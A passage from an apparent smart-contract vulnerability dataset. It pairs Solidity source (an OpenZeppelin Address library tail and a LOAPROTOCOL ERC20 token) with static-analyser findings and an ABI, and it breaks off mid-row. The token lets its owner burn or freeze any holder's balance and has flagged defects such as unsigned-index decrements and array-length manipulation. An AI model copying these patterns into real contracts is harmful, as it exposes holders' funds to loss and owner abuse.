(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["510"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["44"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["243", "220", "152", "141"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [180, 181, 182, 183]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [33]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [53, 54, 55, 56, 57, 58, 59]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [104, 105, 106]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [163, 164, 165, 166, 167, 168, 169]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [153, 154, 155]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [114, 115, 116, 117, 118, 119, 120, 121]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [129, 130, 131]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [32, 33, 34, 35, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [89, 90, 91]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [139, 140, 141, 142, 143, 144, 145]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [80, 81, 79]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [3]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [57]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [167]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [119]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [143]}}] | [] | [{"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 140, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 219, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 44, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 189, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 19, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 19, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 175, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 175, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 258, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 258, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 346, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 346, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 214, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 140, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 219, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 369, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 143, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 155, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 222, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 246, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 278, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 400, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 400, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 400, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"address","name":"_proxyAdmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"implementation","type":"address"}],"name":"Upgraded","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"admin_","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"implementation_","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.3+commit.9bfce1f6 | true | 800 | 0000000000000000000000001191b35728a2843658650d61560db99a6e59668f00000000000000000000000054ff0bf514134a24d2795c554952e0ce1f47ac79 | Default | false | ||||
LOAPROTOCOL | 0x5c5c80ab9016a7ccd1c91dbdc7f134fc063a1487 | Solidity | pragma solidity ^0.5.4;
///////////////////////////////////////////////
////////LOAPROTOCOL Tame simonKim//////////////
///////////////////////////////////////////////
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract LOAPROTOCOL is ERC20 {
string public constant name = "LOAPROTOCOL";
string public constant symbol = "LOA";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
//ownership
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
//pausable
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
//freezable
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
//mintable
event Mint(address indexed to, uint256 amount);
function mint(
address _to,
uint256 _amount
)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
//burnable
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
//lockable
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(address _holder, uint256 _amount, uint256 _afterTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(now + _afterTime, _amount)
);
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(address _to, uint256 _value, uint256 _afterTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(now + _afterTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["179", "178"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["203", "209"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["395", "354", "396", "355", "181"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["349", "434", "430", "234"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [408, 406, 407]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [373, 374, 375]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [420, 421, 422]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [384, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [32, 33, 34, 35, 36, 37, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [168, 169, 170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [66, 67, 68, 69]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [40, 41, 42, 43, 44, 45, 46, 47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [240, 241, 242, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [433, 434, 435]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [264, 261, 262, 263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [368, 366, 367]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [203, 204, 205, 206]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [321, 322, 323, 324, 325, 326]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [272, 273, 271]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [132, 133, 134, 135, 136, 137, 138]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [128, 129, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [429, 430, 431]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [209, 210, 211]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [248, 245, 246, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [384, 385, 386, 379, 380, 381, 382, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [266, 267, 268, 269]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [85, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [106, 107, 108, 109, 110, 111, 112]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [363, 364, 365]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [370, 371, 372, 373, 374, 375, 376, 377]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [96, 97, 95]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [401]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [321]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [321]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [370]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [346]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [277]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [401]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [290]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [276]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [291]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [433]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [209]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [338]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [366]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [401]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [271]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [289]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [370]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [307]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [366]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [261]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [363]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [370]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [266]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LOAPROTOCOL.sol": [181]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [349]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"LOAPROTOCOL.sol": [181]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 205, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 358, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 398, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 106, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 340, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 348, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 340, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 348, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 80, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 82, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 76, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 366, "severity": 1}] | [{"constant":true,"inputs":[{"name":"_value","type":"uint256"}],"name":"afterTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_target","type":"address"}],"name":"unfreeze","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"},{"name":"_idx","type":"uint256"}],"name":"lockState","outputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name"